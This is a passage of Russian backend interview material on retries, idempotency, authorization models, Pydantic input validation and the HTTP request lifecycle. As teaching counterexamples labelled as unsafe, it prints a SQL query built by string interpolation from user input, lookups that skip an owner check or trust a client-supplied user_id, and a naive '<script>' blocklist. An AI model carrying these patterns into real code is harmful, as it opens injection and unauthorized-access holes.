HTTP прямо рекомендует не повторять автоматически неидемпотентный запрос, пока клиент не знает, что операция фактически идемпотентна или что первый запрос точно не был применён.

Политика повторов может выглядеть так:

сетевой разрыв       → возможно повторить
timeout              → возможно, но состояние неизвестно
429                  → повторить позже
502/503/504          → ограниченный повтор
400/401/403/404/422  → обычно не повторять без изменения запроса

При повторе используют задержку:

1-я попытка → 500 мс
2-я попытка → 1 с
3-я попытка → 2 с
4-я попытка → 4 с

Нужно добавлять случайное отклонение, чтобы тысячи клиентов не повторили запрос одновременно.

Если сервер возвращает:

Retry-After: 30

клиент должен учитывать указанную задержку. Retry-After определён как рекомендация, сколько подождать перед последующим запросом; в частности, он применяется с 503 Service Unavailable.

8. Защищать POST от повторного выполнения #

Для операций вроде оплаты или создания заказа применяют ключ идемпотентности:

POST /api/payments
Idempotency-Key: 7abf90f5-cc30-4bf6-9d7a-e19cd880f100
Content-Type: application/json

{
  "order_id": 1001,
  "amount": 50
}

Backend сохраняет:

user_id
+ idempotency key
+ хеш параметров
+ результат операции

При повторе с тем же ключом он возвращает прежний результат:

POST №1 → платёж создан
ответ потерялся

POST №2 с тем же ключом
→ новый платёж не создаётся
→ возвращается результат POST №1

Пример таблицы:

idempotency_records
├── principal_id
├── key
├── request_hash
├── status
├── response_status
├── response_body
└── expires_at

Нужно обеспечить уникальность:

UNIQUE (principal_id, key)

Заголовок Idempotency-Key широко используется как прикладной механизм для отказоустойчивых POST и PATCH, но соответствующий документ IETF по состоянию на 2026 год остаётся Internet-Draft, а не завершённым RFC.

9. Защищаться от конкурентных обновлений #

Представим:

Frontend A получил balance = 100
Frontend B получил balance = 100

A изменил balance на 80
B изменил balance на 120

Без контроля версия B может затереть изменение A.

Можно использовать версию:

{
  "id": 42,
  "name": "Document",
  "version": 7
}

Обновление:

PUT /documents/42
Content-Type: application/json

{
  "name": "New document",
  "version": 7
}

Backend обновляет запись только при совпадении версии:

UPDATE documents
SET name = :name,
    version = version + 1
WHERE id = :id
  AND version = :expected_version;

Если обновлено 0 строк:

HTTP/1.1 409 Conflict

HTTP-вариант — ETag и If-Match:

GET /documents/42
HTTP/1.1 200 OK
ETag: "version-7"

Обновление:

PUT /documents/42
If-Match: "version-7"

Если ресурс уже изменён:

HTTP/1.1 412 Precondition Failed

Условные запросы ETag/If-Match предназначены в том числе для предотвращения потерянных обновлений.

10. Проверять не только аутентификацию, но и авторизацию #

Недостаточно проверить, что токен действителен:

токен действителен
пользователь имеет доступ к объекту

Например:

GET /api/orders/1001
Authorization: Bearer <user-token>

Backend обязан проверить:

существует ли пользователь
принадлежит ли ему заказ 1001
разрешено ли читать этот заказ
разрешено ли видеть все возвращаемые поля

Нельзя доверять переданному frontend идентификатору:

# Опасно
order = await Order.get(id=order_id)
return order

Нужно фильтровать по владельцу:

order = await Order.get(
    id=order_id,
    user_id=current_user.id,
)

OWASP отдельно выделяет проверки доступа к конкретным объектам и функциям API: каждый endpoint, принимающий идентификатор объекта, должен проверять право текущего пользователя на действие с этим объектом.

11. Ограничивать нагрузку #

Надёжность системы зависит от ограничений:

максимальный размер request body
максимальный размер файла
максимальный limit в пагинации
максимальное число объектов в batch
rate limit
ограничение параллельных операций
таймауты

Например:

GET /api/orders?limit=1000000

Backend не должен безусловно выполнять такой запрос:

limit = min(requested_limit, 100)

При превышении частоты запросов:

HTTP/1.1 429 Too Many Requests
Retry-After: 30

OWASP относит отсутствие ограничений размера, количества и частоты операций к риску неограниченного потребления ресурсов и рекомендует применять rate limiting в зависимости от бизнес-операции.

12. Длительные операции не держать в обычном запросе #

Плохо:

POST /reports
frontend ждёт 5 минут

Надёжнее:

POST /reports
HTTP/1.1 202 Accepted
Location: /reports/tasks/abc123

{
  "task_id": "abc123",
  "status": "pending"
}

Frontend проверяет статус:

GET /reports/tasks/abc123
{
  "task_id": "abc123",
  "status": "completed",
  "download_url": "/reports/942"
}

Схема:

Frontend
   │ POST /reports
Backend → очередь → worker
   │ 202 + task_id
Frontend
   │ GET /tasks/{id}
результат

Для обновлений можно использовать polling, SSE или WebSocket, но итоговое состояние всё равно полезно хранить на backend, чтобы frontend мог восстановиться после перезагрузки или разрыва соединения.

13. Не считать WebSocket источником истины #

WebSocket-событие может потеряться из-за:

  • разрыва соединения;

  • перезагрузки вкладки;

  • временного отсутствия сети;

  • переподключения;

  • переключения backend-инстанса.

Поэтому хорошая схема:

WebSocket/SSE → уведомляет, что что-то изменилось
HTTP GET      → возвращает актуальное состояние

Например:

{
  "type": "order.updated",
  "order_id": 1001,
  "version": 8
}

После события frontend делает:

GET /api/orders/1001

Либо события должны иметь последовательные номера:

{
  "event_id": 1842,
  "type": "order.updated"
}

Тогда после переподключения клиент может запросить пропущенные события.

14. Поддерживать обратную совместимость #

Опасное изменение:

// Было
{
  "user_name": "alfob"
}
// Стало
{
  "username": "alfob"
}

Старый frontend перестанет работать сразу после обновления backend.

Обычно безопаснее:

добавлять необязательные поля
не переименовывать поля без версии
не менять тип существующего поля
не менять смысл существующего статуса
оставлять переходный период

Например:

{
  "user_name": "alfob",
  "username": "alfob"
}

После обновления всех клиентов старое поле можно удалить в следующей несовместимой версии API.

Версионирование:

/api/v1/users
/api/v2/users

или через media type/header, но подход должен быть единым для всего проекта.

15. Добавить наблюдаемость #

Когда frontend сообщает:

«запрос не работает»

нужно иметь возможность проследить его через всю систему.

Backend возвращает идентификатор запроса:

X-Request-ID: 72e5121a-66e2-4a68-b3ad-3a640614a4fe

Тот же ID записывается:

reverse proxy logs
backend logs
worker logs
database diagnostics
external API logs

Логировать полезно:

request_id
route
method
status
duration
user_id
ошибку
upstream

Не следует логировать:

пароли
Authorization целиком
refresh token
данные банковских карт
секретные cookies

Пример итогового взаимодействия #

1. Frontend валидирует форму для UX
2. Создаёт уникальный ключ операции
3. Отправляет запрос через единый API-клиент
4. Backend аутентифицирует пользователя
5. Проверяет доступ к объекту
6. Валидирует входные данные
7. Проверяет idempotency key
8. Выполняет операцию в транзакции
9. Возвращает корректный HTTP-статус
10. Возвращает данные или problem+json
11. Frontend обрабатывает статус и стабильный error code
12. При временном сбое выполняет ограниченный безопасный retry
13. Запрос отслеживается через request_id

Минимальная практичная архитектура #

Frontend
├── единый HTTP-клиент
├── timeout и отмена
├── централизованный разбор ошибок
├── безопасная retry-политика
├── обновление авторизации
└── состояние loading/error/data

Backend
├── OpenAPI-контракт
├── входная валидация
├── аутентификация
├── объектная и функциональная авторизация
├── транзакции
├── идемпотентность важных операций
├── единый problem+json
├── rate limits и лимиты размера
└── логи, метрики и request_id

Главная формула:

надёжное взаимодействие =
явный контракт
+ проверка на backend
+ предсказуемые ошибки
+ ограниченные повторы
+ идемпотентность
+ контроль конкурентных изменений
+ наблюдаемость


28. На чём реализовать авторизацию в backend-приложении? #

Сначала разделим два понятия #

Аутентификация определяет, кто выполняет запрос:

Кто ты?
→ пользователь 42

Авторизация определяет, разрешено ли этому пользователю выполнить действие:

Может ли пользователь 42 удалить файл 15?
→ да / нет

JWT, cookie и OAuth в первую очередь помогают идентифицировать клиента. Сама авторизация реализуется проверками ролей, разрешений, владельца объекта и бизнес-правил на backend.

Session / access token
Аутентификация пользователя
Проверка permissions и бизнес-правил
Разрешить или запретить действие

Что выбрать для обычного web-приложения #

Для монолита или frontend/backend на одном сайте хороший базовый вариант:

серверная сессия
+ HttpOnly cookie
+ permissions в базе данных

Схема:

Пользователь входит
Backend создаёт session_id
session_id сохраняется в cookie
Данные сессии хранятся в Redis или БД
На каждом запросе backend получает пользователя
Проверяет его права

Cookie:

Set-Cookie: session_id=abc123;
            HttpOnly;
            Secure;
            SameSite=Lax;
            Path=/

Следующий запрос:

GET /api/profile
Cookie: session_id=abc123

Преимущества серверной сессии:

  • простое принудительное завершение сессии;

  • легко заблокировать пользователя;

  • легко отозвать конкретную сессию;

  • нет необходимости реализовывать refresh-токены;

  • браузер автоматически отправляет cookie.

Для обычного браузерного приложения это часто проще JWT.

В Django уже есть встроенная система пользователей, групп, разрешений и cookie-based sessions.

Когда использовать JWT #

JWT удобен, когда backend предоставляет API для нескольких независимых клиентов:

web frontend
mobile application
другие сервисы
публичные API-клиенты

Типичная схема:

Access token
├── короткий срок жизни
├── передаётся в Authorization
└── проверяется backend без обращения к session storage

Refresh token
├── живёт дольше
├── используется только для обновления access token
└── должен поддерживать отзыв и ротацию

Запрос:

GET /api/profile
Authorization: Bearer <access-token>

JWT — это лишь формат токена. RFC 7519 определяет его как компактный формат передачи claims, а RFC 9068 описывает профиль JWT для OAuth access token.

Backend должен проверять как минимум:

подпись
exp — срок действия
iss — кто выпустил токен
aud — для какого API токен предназначен
sub — субъект
scope / permissions

JWT не следует использовать как базу данных прав пользователя. Например, роль в токене:

{
  "sub": "42",
  "role": "admin",
  "exp": 1785480000
}

может оставаться действительной до истечения токена, даже если пользователя уже лишили роли.

Поэтому JWT обычно делают короткоживущим, а критические или динамические права дополнительно проверяют по базе данных или централизованному authorization-сервису.

OAuth 2.0 и OpenID Connect #

Когда требуется:

  • вход через Google, Microsoft или другой провайдер;

  • единая учётная запись для нескольких приложений;

  • SSO;

  • несколько frontend и backend-сервисов;

  • внешние API-клиенты;

  • корпоративная система пользователей,

лучше использовать:

OpenID Connect → аутентификация пользователя
OAuth 2.0      → выдача access token и делегирование доступа

Для браузерных и мобильных клиентов обычно применяется:

Authorization Code Flow
+ PKCE

Актуальные рекомендации OAuth требуют PKCE для публичных клиентов и рекомендуют его также для confidential clients.

OpenID Connect строится поверх OAuth 2.0 и добавляет механизм аутентификации пользователя и ID Token.

В серьёзном проекте OAuth/OIDC-сервер обычно не пишут самостоятельно, а используют специализированный Identity Provider:

Frontend
Identity Provider
access token
Backend API

Backend проверяет токен и применяет собственные правила доступа.

Модели авторизации #

RBAC — роли #

Права назначаются ролям:

user
editor
moderator
admin

Например:

user:
    читать собственный профиль

editor:
    создавать и изменять статьи

admin:
    управлять пользователями

Таблицы:

users
roles
permissions
user_roles
role_permissions

Проверка:

if not current_user.has_permission("article.delete"):
    raise ForbiddenError()

RBAC подходит для большинства обычных приложений.

Проверка владельца объекта #

Одной роли недостаточно.

Пользователь с ролью user может редактировать свой файл, но не чужой:

file = await File.get(id=file_id)

if file.owner_id != current_user.id:
    raise ForbiddenError()

Правильнее сразу ограничивать запрос:

file = await File.get(
    id=file_id,
    owner_id=current_user.id,
)

Это объектная авторизация:

может ли конкретный пользователь
выполнить конкретное действие
над конкретным объектом

ABAC — атрибуты #

Решение зависит от атрибутов:

роль пользователя
владелец объекта
отдел
статус документа
время
регион
уровень конфиденциальности

Пример:

can_edit = (
    document.owner_id == user.id
    and document.status == "draft"
)

ReBAC — отношения #

Используется, когда права зависят от связей:

пользователь состоит в команде
команда владеет проектом
проект содержит документ

Это полезно в системах наподобие Google Drive, GitHub или корпоративных пространств.

Что обычно выбирать #

Для обычного проекта достаточно:

RBAC
+ проверки владельца объекта
+ отдельные бизнес-правила

Например:

Роль разрешает:
    удалять файлы

Проверка объекта уточняет:
    только собственные файлы

Бизнес-правило уточняет:
    только файлы в статусе draft

Пример организации в FastAPI #

from dataclasses import dataclass
from typing import Annotated

from fastapi import Depends, HTTPException, status


@dataclass
class Principal:
    user_id: int
    permissions: set[str]


async def get_current_user() -> Principal:
    """
    1. Получить session cookie или bearer token.
    2. Проверить его.
    3. Найти пользователя.
    4. Получить permissions.
    """
    return Principal(
        user_id=42,
        permissions={"files.read", "files.delete"},
    )


CurrentUser = Annotated[Principal, Depends(get_current_user)]


def require_permission(permission: str):
    async def dependency(
        user: CurrentUser,
    ) -> Principal:
        if permission not in user.permissions:
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail="Insufficient permissions",
            )

        return user

    return dependency

Использование:

@app.delete("/files/{file_id}")
async def delete_file(
    file_id: int,
    user: Annotated[
        Principal,
        Depends(require_permission("files.delete")),
    ],
):
    file = await file_repository.get_by_id_and_owner(
        file_id=file_id,
        owner_id=user.user_id,
    )

    if file is None:
        raise HTTPException(status_code=404)

    await file_repository.delete(file)

    return {"status": "deleted"}

Здесь два уровня:

require_permission("files.delete")
→ функциональное разрешение

owner_id=user.user_id
→ доступ к конкретному объекту

FastAPI security dependencies помогают извлекать credentials и описывать security scheme в OpenAPI, но решение о доступе всё равно должно быть реализовано в permissions-зависимостях и бизнес-логике.

Где хранить роли и permissions #

Обычно в базе данных:

users
├── id
└── status

roles
├── id
└── name

permissions
├── id
└── code

user_roles
├── user_id
└── role_id

role_permissions
├── role_id
└── permission_id

Например:

permission code:
files.read
files.create
files.update
files.delete
users.manage

При большом количестве запросов permissions можно кешировать в Redis:

permissions:user:42
→ ["files.read", "files.delete"]

Но при изменении роли кеш необходимо инвалидировать.

Авторизация между сервисами #

Для взаимодействия сервисов не следует использовать пароль обычного пользователя.

Возможные варианты:

OAuth 2.0 Client Credentials
mTLS
короткоживущие service tokens
workload identity

Например:

Notification Service
        ↓ service credential
Authorization Server
        ↓ access token
Payment Service

Для особо чувствительных интеграций access token можно связать с клиентским TLS-сертификатом через OAuth mTLS.

API key подходит для простого распознавания приложения:

X-API-Key: <key>

Но один API key плохо подходит для сложной пользовательской авторизации, поскольку обычно не выражает владельца объекта, роли, сессию пользователя и контекст действия.

Основные правила #

Авторизацию нужно проверять:

на backend
на каждом запросе
для каждого объекта
для каждого критического действия

Нельзя доверять frontend:

{
  "user_id": 42,
  "role": "admin"
}

Backend не должен принимать роль или владельца из request body как достоверные данные.

Правильный порядок:

1. Получить пользователя из проверенной session/token
2. Загрузить объект
3. Проверить permission
4. Проверить владельца и бизнес-правила
5. Выполнить операцию

Доступ должен быть запрещён по умолчанию, а разрешения должны проверяться на каждом запросе.

Практическая рекомендация #

Для обычного backend-приложения:

Frontend и backend одного сайта:
    server-side session
    + HttpOnly cookie
    + RBAC
    + object-level permissions

Отдельный SPA или мобильное приложение:
    короткоживущий access token
    + управляемый refresh token
    + RBAC
    + object-level permissions

SSO, несколько приложений или внешние клиенты:
    OAuth 2.0
    + OpenID Connect
    + внешний Identity Provider

Для FastAPI API с собственными пользователями практичная схема:

access token:
    короткоживущий JWT

refresh token:
    случайная непрозрачная строка
    хранится в БД/Redis в виде хеша
    поддерживает ротацию и отзыв

authorization:
    permissions в БД
    dependencies для общих проверок
    проверка владельца в repository/service
    deny by default

Ключевой вывод:

JWT или session отвечает:
    кто выполняет запрос

RBAC / ABAC / ownership checks отвечают:
    что именно ему разрешено

Поэтому авторизацию следует реализовывать не «на JWT», а в отдельном слое правил доступа, используя session или токен только как надёжный способ определить текущего пользователя.


29. Как бы вы валидировали данные, которые пришли от пользователя? #

Основной принцип #

Все данные, пришедшие извне, считаются недоверенными:

JSON body
query parameters
path parameters
headers
cookies
файлы
данные WebSocket
сообщения из очереди
ответы сторонних API

Frontend-валидация нужна для удобства пользователя, но backend обязан валидировать данные повторно, потому что клиент может вызвать API напрямую.

Frontend validation → удобный UX
Backend validation  → защита и целостность данных

Уровни валидации #

Я бы разделял проверку на несколько уровней:

HTTP-запрос
1. Ограничения транспорта
2. Проверка структуры и типов
3. Проверка отдельных значений
4. Проверка взаимосвязанных полей
5. Проверка бизнес-правил
6. Ограничения базы данных

1. Проверка самого запроса #

До разбора бизнес-данных нужно проверить:

  • допустимый Content-Type;

  • размер тела;

  • максимальный размер файла;

  • допустимую кодировку;

  • количество элементов в batch;

  • глубину вложенности JSON;

  • наличие обязательных заголовков.

Например:

POST /payments
Content-Type: application/json
Content-Length: 52428800

При лимите 5 МБ запрос следует отклонить до полного разбора:

HTTP/1.1 413 Content Too Large

Если endpoint принимает только JSON, неподдерживаемый формат можно отклонить:

HTTP/1.1 415 Unsupported Media Type

2. Проверка структуры и типов #

Нужно проверить:

  • обязательные поля;

  • тип каждого поля;

  • вложенную структуру;

  • структуру массивов;

  • отсутствие неизвестных полей;

  • допустимость null.

Пример ожидаемого тела:

{
  "product_id": 42,
  "quantity": 2,
  "comment": "Доставить вечером"
}

Некорректные варианты:

{
  "product_id": "abc",
  "quantity": -5
}
{
  "product_id": 42,
  "quantity": 2,
  "is_admin": true
}

Неизвестные поля лучше запрещать, особенно в командах создания и изменения данных.

Пример с FastAPI и Pydantic #

from typing import Annotated

from fastapi import FastAPI
from pydantic import BaseModel, ConfigDict, Field

app = FastAPI()


class OrderCreate(BaseModel):
    model_config = ConfigDict(
        extra="forbid",
        str_strip_whitespace=True,
    )

    product_id: Annotated[int, Field(gt=0)]
    quantity: Annotated[int, Field(ge=1, le=100)]
    comment: Annotated[
        str | None,
        Field(max_length=500),
    ] = None


@app.post("/orders", status_code=201)
async def create_order(data: OrderCreate):
    return data

Pydantic позволяет задавать ограничения полей через Field, писать пользовательские валидаторы и запрещать дополнительные поля через конфигурацию модели. FastAPI использует модели Pydantic для разбора и проверки тела запроса.

Запрос:

{
  "product_id": 42,
  "quantity": 101
}

не пройдёт, потому что quantity ограничено значением 100.

3. Проверка конкретных значений #

Одного типа недостаточно.

Например, значение может быть строкой, но всё равно быть недопустимым:

{
  "username": "",
  "email": "not-email",
  "country": "unknown",
  "password": "1"
}

Нужно проверять:

строки:
    минимальную и максимальную длину
    допустимый формат
    допустимый набор символов

числа:
    минимальное и максимальное значение
    точность
    количество знаков после запятой

списки:
    минимальное и максимальное количество элементов
    уникальность элементов

идентификаторы:
    положительное значение
    UUID/ULID-формат

Пример:

from typing import Annotated, Literal

from pydantic import BaseModel, ConfigDict, EmailStr, Field


class UserCreate(BaseModel):
    model_config = ConfigDict(extra="forbid")

    username: Annotated[
        str,
        Field(
            min_length=3,
            max_length=50,
            pattern=r"^[a-zA-Z0-9_]+$",
        ),
    ]

    email: EmailStr

    password: Annotated[
        str,
        Field(min_length=12, max_length=128),
    ]

    language: Literal["ru", "en", "az"] = "ru"

OWASP рекомендует проверять данные по допустимым типам, длине, диапазонам и форматам и по возможности использовать allowlist — явно разрешённый набор значений.

Allowlist предпочтительнее blocklist #

Плохо:

if "<script>" in username:
    reject()

Пользователь может передать другой опасный вариант.

Надёжнее описать, что разрешено:

pattern=r"^[a-zA-Z0-9_]+$"

Но allowlist нельзя применять бездумно. Например, имя человека может содержать:

пробелы
дефисы
апострофы
Unicode-символы

Поэтому ограничения должны соответствовать предметной области, а не выдумываться исключительно ради безопасности.

4. Проверка связанных полей #

Некоторые данные нельзя проверить по одному полю.

Например:

{
  "start_date": "2026-08-10",
  "end_date": "2026-08-01"
}

Каждая дата сама по себе корректна, но их комбинация недопустима.

В Pydantic используется модельный валидатор:

from datetime import date
from typing import Self

from pydantic import BaseModel, model_validator


class Period(BaseModel):
    start_date: date
    end_date: date

    @model_validator(mode="after")
    def validate_period(self) -> Self:
        if self.end_date < self.start_date:
            raise ValueError(
                "end_date must not be earlier than start_date",
            )

        return self

Другие примеры:

password == password_confirmation
min_price <= max_price
delivery_date >= current_date
discount <= total_amount

5. Проверка бизнес-правил #

Pydantic может проверить, что product_id — положительное число, но не может самостоятельно определить:

  • существует ли товар;

  • доступен ли он для продажи;

  • достаточно ли товара на складе;

  • разрешено ли пользователю его покупать;

  • не превышен ли дневной лимит.

Это проверяется в service/use case:

async def create_order(
    data: OrderCreate,
    current_user: User,
) -> Order:
    product = await product_repository.get_by_id(
        data.product_id,
    )

    if product is None:
        raise ProductNotFoundError()

    if not product.is_available:
        raise ProductUnavailableError()

    if product.stock < data.quantity:
        raise InsufficientStockError()

    if not current_user.can_order(product):
        raise ForbiddenError()

    return await order_repository.create(
        user_id=current_user.id,
        product_id=product.id,
        quantity=data.quantity,
    )

То есть:

Pydantic:
    данные имеют правильную форму

Бизнес-логика:
    операцию действительно разрешено выполнить

6. Авторизация не является валидацией #

Допустим, frontend прислал:

{
  "user_id": 100,
  "file_id": 42
}

Даже если оба числа корректны, backend не должен доверять user_id.

Пользователь определяется из проверенной сессии или токена:

file = await file_repository.get_by_id_and_owner(
    file_id=data.file_id,
    owner_id=current_user.id,
)

Некорректно:

file = await file_repository.get_by_id_and_owner(
    file_id=data.file_id,
    owner_id=data.user_id,
)

Проверка формата идентификатора не заменяет проверку права доступа к объекту.

7. Не доверять массовому присваиванию полей #

Опасная схема:

user.update_from_dict(request_data)

Клиент может добавить:

{
  "username": "alfob",
  "is_admin": true,
  "balance": 1000000
}

Лучше иметь отдельные входные модели:

class UserUpdate(BaseModel):
    model_config = ConfigDict(extra="forbid")

    username: str | None = None
    avatar_url: str | None = None

И явно копировать допустимые поля:

update_data = data.model_dump(exclude_unset=True)

await user_repository.update(
    user_id=current_user.id,
    **update_data,
)

Модель базы данных и модель входящего запроса не должны быть одной и той же моделью.

8. Нормализация данных #

Перед проверкой некоторые данные можно нормализовать:

удалить пробелы по краям
привести email к согласованному виду
нормализовать телефонный номер
нормализовать Unicode

Например:

class UserCreate(BaseModel):
    model_config = ConfigDict(
        str_strip_whitespace=True,
    )

    username: str

Но нельзя незаметно исправлять всё подряд.

Например, автоматически преобразовать:

"12abc" → 12

опасно. Клиенту лучше вернуть ошибку.

Также стоит аккуратно относиться к автоматическому приведению типов:

{
  "quantity": "10"
}

Иногда это допустимо, но для строгого контракта можно включить strict validation, чтобы строка "10" не считалась числом 10. Pydantic поддерживает строгую проверку на уровне поля или всей модели.

9. Ограничения базы данных #

Даже после прикладной валидации база данных должна защищать инварианты:

CREATE TABLE users (
    id BIGSERIAL PRIMARY KEY,
    email TEXT NOT NULL UNIQUE,
    age INTEGER CHECK (age >= 0)
);

Приложение проверяет данные для понятной ошибки пользователю, а база данных остаётся последней линией защиты.

Например, два параллельных запроса могут одновременно проверить, что email свободен:

Запрос A: email свободен
Запрос B: email свободен

Только UNIQUE гарантирует, что обе записи не будут сохранены.

Поэтому:

проверка в приложении
+ constraint в базе

а не один из этих вариантов.

10. Работа с файлами #

Для загружаемых файлов нужно проверять:

  • максимальный размер;

  • разрешённый тип файла;

  • расширение;

  • фактическое содержимое;

  • имя файла;

  • количество файлов;

  • наличие вредоносного содержимого при необходимости.

Нельзя доверять только:

Content-Type: image/png

или имени:

avatar.png

Клиент сам управляет этими значениями. OWASP рекомендует использовать allowlist расширений, ограничивать размер, генерировать серверное имя и не полагаться только на Content-Type.

11. SQL-инъекции не предотвращаются обычной проверкой строк #

Недостаточно запретить символы:

'
"
;
--

Правильная защита — параметризованные запросы:

query = select(User).where(User.username == username)

а не конкатенация:

query = f"""
    SELECT *
    FROM users
    WHERE username = '{username}'
"""

Валидация уменьшает количество некорректных данных, но не заменяет параметризованные SQL-запросы, экранирование HTML и другие контекстные механизмы защиты. OWASP прямо отмечает, что input validation не должна быть основным способом предотвращения SQL injection или XSS.

12. Возвращать структурированные ошибки #

Ответ должен позволять frontend понять, какое поле не прошло проверку:

HTTP/1.1 422 Unprocessable Content
Content-Type: application/problem+json
{
  "type": "/problems/validation-error",
  "title": "Validation failed",
  "status": 422,
  "errors": [
    {
      "field": "quantity",
      "code": "less_than_or_equal",
      "message": "Quantity must not exceed 100"
    }
  ]
}

Не стоит возвращать внутренние детали:

SQL-запрос
stack trace
имя таблицы
путь к файлу
секреты

RFC 9457 определяет стандартный формат application/problem+json, который можно расширить списком ошибок конкретных полей.

Практическая схема #

1. Ограничить размер запроса
2. Проверить Content-Type
3. Разобрать JSON
4. Проверить обязательные поля и типы
5. Запретить неизвестные поля
6. Проверить длину, диапазоны и форматы
7. Проверить взаимосвязь полей
8. Получить текущего пользователя из session/token
9. Проверить права доступа
10. Проверить бизнес-правила и состояние БД
11. Выполнить операцию в транзакции
12. Положиться на DB constraints как последнюю защиту
13. Вернуть структурированный ответ об ошибке

Итог #

Я бы валидировал пользовательские данные не одним большим if, а слоями:

Pydantic/FastAPI
→ структура, типы и простые ограничения

Service layer
→ бизнес-правила и права доступа

Database constraints
→ окончательная целостность данных

Контекстная защита
→ параметры SQL, HTML escaping, безопасное хранение файлов

Главное правило:

валидные по формату данные
не обязательно являются допустимыми
с точки зрения бизнеса и безопасности


30. Что происходит после того, как пользователь вводит адрес сайта или делает клик в браузере? | Жизненный цикл HTTP-запроса от браузера до сервера #

Общая схема #

Когда пользователь вводит URL, переходит по ссылке или frontend вызывает API, путь выглядит примерно так:

Действие пользователя
Браузер определяет URL и тип операции
Проверяет кеш и Service Worker
DNS: домен → IP-адрес
Устанавливает TCP + TLS
или QUIC + TLS
Формирует HTTP-запрос
CDN / WAF / Load Balancer / Reverse Proxy
Backend-приложение
База данных / Redis / внешние API
HTTP-ответ
Браузер обрабатывает ответ
Рендерит страницу или обновляет интерфейс

При этом не каждый шаг выполняется для каждого запроса: DNS-запись, соединение или сам ответ могут уже находиться в кеше, а существующее соединение может быть переиспользовано.

1. Пользователь инициирует действие #

Возможны разные ситуации.

Ввод адреса #

Пользователь вводит:

https://example.com/products?page=2

и нажимает Enter. Браузер начинает навигацию к новому документу.

Переход по ссылке #

<a href="/products">Товары</a>

При клике браузер обычно запускает навигацию:

GET /products

Отправка формы #

<form method="post" action="/login">

Браузер может отправить:

POST /login
Content-Type: application/x-www-form-urlencoded

username=alfob&password=secret

JavaScript-запрос #

const response = await fetch("/api/products");
const products = await response.json();

Здесь новая страница не загружается. Frontend получает данные и самостоятельно обновляет интерфейс.

SPA-навигация #

В React, Vue или другом SPA клик может вообще не создавать HTTP-запрос:

клик
JavaScript перехватывает событие
меняет URL через History API
показывает уже загруженный компонент

Запрос появится только в том случае, если компоненту понадобятся дополнительные данные.

Следовательно:

клик в браузере
≠ обязательно HTTP-запрос

Навигация и получение документов описываются HTML Standard и Fetch Standard.

2. Браузер разбирает URL #

Для адреса:

https://api.example.com:443/users/42?full=true#profile

браузер выделяет:

scheme   → https
host     → api.example.com
port     → 443
path     → /users/42
query    → full=true
fragment → profile

Fragment:

#profile

не отправляется HTTP-серверу. Он обрабатывается браузером на стороне клиента.

Запрос будет содержать примерно:

/users/42?full=true

URL проходит стандартизированный разбор и нормализацию, включая обработку не-ASCII-символов и percent-encoding.

3. Браузер проверяет локальные источники #

До обращения к сети браузер может проверить:

memory cache
disk cache
HTTP cache
Service Worker
уже открытое соединение

Например, файл:

/static/app.js

может уже находиться в кеше, и сетевой запрос не потребуется.

Service Worker также может перехватить запрос:

self.addEventListener("fetch", (event) => {
    event.respondWith(
        caches.match(event.request),
    );
});

Он может:

  • вернуть сохранённый ответ;

  • обратиться к сети;

  • сформировать собственный ответ;

  • использовать стратегию cache-first или network-first.

Service Worker встраивается в алгоритм обработки fetch-запросов и способен отвечать из собственного кеша без обращения к origin-серверу.

4. DNS преобразует домен в IP-адрес #

Сетевое соединение устанавливается с IP-адресом, а не непосредственно со строкой:

example.com

Поэтому браузеру нужно получить:

example.com → 203.0.113.10

или IPv6:

example.com → 2001:db8::10

Браузер и операционная система могут проверить:

кеш браузера
кеш операционной системы
hosts-файл
локальный или системный DNS resolver

Если записи нет, запрос обычно передаётся рекурсивному DNS-резолверу:

Компьютер
Recursive DNS resolver
Root DNS
DNS зоны верхнего уровня
Authoritative DNS example.com

Результатом может стать:

A     → IPv4
AAAA  → IPv6
CNAME → другое доменное имя

Рекурсивный резолвер обычно кеширует полученный результат, поэтому полная цепочка DNS выполняется не при каждом открытии сайта. DNS определён как распределённая иерархическая система имён, а современные термины отдельно определяют stub resolver и recursive resolver.

5. Устанавливается сетевое соединение #

Дальнейшие действия зависят от версии HTTP.

HTTP/1.1 и HTTP/2 #

Обычно используются:

HTTP
TLS — для HTTPS
TCP
IP

Сначала устанавливается TCP-соединение:

Клиент                         Сервер
   │──── SYN ───────────────────>│
   │<─── SYN + ACK ──────────────│
   │──── ACK ───────────────────>│

Это TCP three-way handshake.

Если соединение уже открыто, браузер может его переиспользовать, и новое рукопожатие не потребуется.

HTTP/3 #

HTTP/3 использует:

HTTP/3
QUIC + TLS
UDP
IP

QUIC предоставляет защищённое соединение, управляемые потоки, контроль перегрузки и повторную передачу потерянных данных поверх UDP. HTTP/3 переносит HTTP-семантику через QUIC.

6. Для HTTPS выполняется TLS-рукопожатие #

При HTTPS браузер и сервер должны:

  1. согласовать версию TLS;

  2. выбрать криптографические алгоритмы;

  3. получить сертификат сервера;

  4. проверить сертификат;

  5. создать общие ключи шифрования;

  6. выбрать прикладной протокол через ALPN.

Условно:

Браузер                           Сервер
   │──── ClientHello ───────────────>│
   │<─── ServerHello + Certificate ──│
   │──── Finished ──────────────────>│
   │<─── Finished ───────────────────│
   │                                  │
   │══ зашифрованный HTTP-трафик ═════│

Браузер проверяет, что:

сертификат выдан доверенным центром
домен присутствует в сертификате
сертификат не истёк
криптографическая проверка успешна

Через ALPN стороны могут согласовать:

h2       → HTTP/2
http/1.1 → HTTP/1.1
h3       → HTTP/3 в QUIC

TLS 1.3 позволяет сторонам согласовать параметры, аутентифицировать сервер и получить общий секретный ключ.

7. Браузер формирует HTTP-запрос #

Например:

GET /products?page=2 HTTP/1.1
Host: example.com
Accept: text/html
Accept-Encoding: gzip, br
Cookie: session_id=abc123
User-Agent: ...

HTTP-запрос логически содержит:

метод
target URI
заголовки
необязательное тело

Для API:

POST /api/orders HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Bearer <access-token>
Content-Length: 35

{
  "product_id": 42,
  "quantity": 2
}

Часть заголовков добавляет frontend, часть — сам браузер:

Cookie
Host / :authority
Accept
Accept-Encoding
Origin
Referer
Sec-Fetch-*

Точная форма передачи зависит от версии HTTP.

HTTP/1.1 #

Текстовый формат:

GET /products HTTP/1.1
Host: example.com

HTTP/2 #

Запрос кодируется бинарными frames и передаётся в отдельном stream:

HEADERS frame
DATA frame — при наличии тела

Одно TCP-соединение может одновременно обслуживать несколько HTTP/2-потоков.

HTTP/3 #

Запрос передаётся в отдельном QUIC stream:

HEADERS
DATA

Разные HTTP-запросы могут обрабатываться через независимые QUIC-потоки одного соединения.

8. Данные разбиваются на сетевые пакеты #

